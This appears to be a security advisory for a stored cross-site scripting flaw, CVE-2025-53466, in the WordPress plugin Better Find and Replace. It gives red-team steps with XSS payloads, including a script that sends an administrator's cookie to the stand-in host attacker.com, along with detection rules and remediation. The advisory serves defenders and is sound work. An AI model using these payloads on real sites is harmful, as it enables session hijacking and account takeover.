CVE-2025-53466

Executive Summary

CVE-2025-53466 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Better Find and Replace (real-time-auto-find-and-replace) by CodeSolz, affecting versions up to and including 1.7.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin's admin interface. When a privileged user (e.g., administrator) views the injected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or further WordPress compromise. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid WordPress user account with at least Contributor role.
• User Interaction: Required (UI:R) – The victim (admin) must visit the compromised page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: Low (A:L) – Limited disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within a WordPress environment elevates the risk for organizations using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the Better Find and Replace plugin's handling of user input within its admin interface. The plugin allows users to define search-and-replace rules that are stored in the WordPress database. When a user with administrative privileges views the list of saved rules, the plugin renders the rule names and other fields without proper sanitization or output encoding.

An attacker with a Contributor-level account (or higher) can create a new search-and-replace rule and inject malicious JavaScript into the rule name field. For example, the attacker could set the rule name to:

<script>alert('XSS')</script>

When an administrator navigates to the "Find and Replace" settings page, the plugin outputs this rule name directly into the HTML without escaping, causing the browser to execute the injected script.

The attack flow:

1. Attacker logs in with a Contributor account.
2. Attacker creates a new rule with a malicious payload in the rule name.
3. Administrator visits the plugin settings page.
4. The injected script executes in the administrator's browser.
5. The script can steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. The plugin likely uses a function similar to echo $rule_name; or <?= $rule_name ?> without applying WordPress's built-in escaping functions like esc_html() or esc_attr().

Vulnerable Code (Conceptual):

// In admin page rendering
echo "<tr><td>" . $rule['name'] . "</td></tr>";

Patched Code (Conceptual):

// Properly escaped output
echo "<tr><td>" . esc_html( $rule['name'] ) . "</td></tr>";

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with the Better Find and Replace plugin (version <= 1.7.6) installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as the Contributor user.
2. Navigate to the plugin's settings page (e.g., /wp-admin/admin.php?page=better-find-and-replace).
3. Create a new rule with the following payload in the "Rule Name" field:

   <img src=x onerror=alert(document.cookie)>
   

4. Save the rule.
5. Log out and wait for an administrator to visit the same settings page.
6. The administrator's browser will execute the payload, displaying their cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor WordPress admin access logs for unusual rule creation by non-admin users.
2. Review the wp_options table for entries containing <script> or <img onerror= patterns.
3. Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to the plugin's admin pages.

Lab Setup for Testing:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install the vulnerable plugin version.
• Create a test user with Contributor role.
• Use browser developer tools to inspect network requests and DOM manipulation.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (though unlikely, as the payload is stored in the database).
• Database: Entries in wp_options or custom plugin tables containing JavaScript payloads (e.g., <script>, onerror, onload).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints with XSS-like parameters.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_BetterFindReplace {
    meta:
        description = "Detects stored XSS payloads in Better Find and Replace plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53466"
    strings:
        $xss_payload1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload2 = /<img[^>]*onerror\s*=/is
        $xss_payload3 = /<svg[^>]*onload\s*=/is
        $plugin_identifier = "better-find-and-replace"
    condition:
        any of ($xss_payload*) and $plugin_identifier
}

Sigma Rule

title: Stored XSS via Better Find and Replace Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress admin pages related to Better Find and Replace plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'better-find-and-replace'
        cs-uri-query|contains|all:
            - 'action=save_rule'
            - 'rule_name='
    condition: selection
falsepositives:
    - Legitimate use of special characters in rule names
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53466 Stored XSS in Better Find and Replace"; flow:to_server,established; content:"POST"; http_method; content:"better-find-and-replace"; http_uri; content:"rule_name="; http_client_body; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by CodeSolz.
2. Restrict user roles – Only allow trusted administrators to create or modify search-and-replace rules.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_attr(), or wp_kses_post().
• Users should monitor the WordPress plugin repository for updates and apply them immediately.

Workaround:

• Add a custom function to the theme's functions.php to sanitize rule names before display:

add_filter( 'better_find_replace_rule_name', 'esc_html' );

Valters IT
Securing Digital Frontiers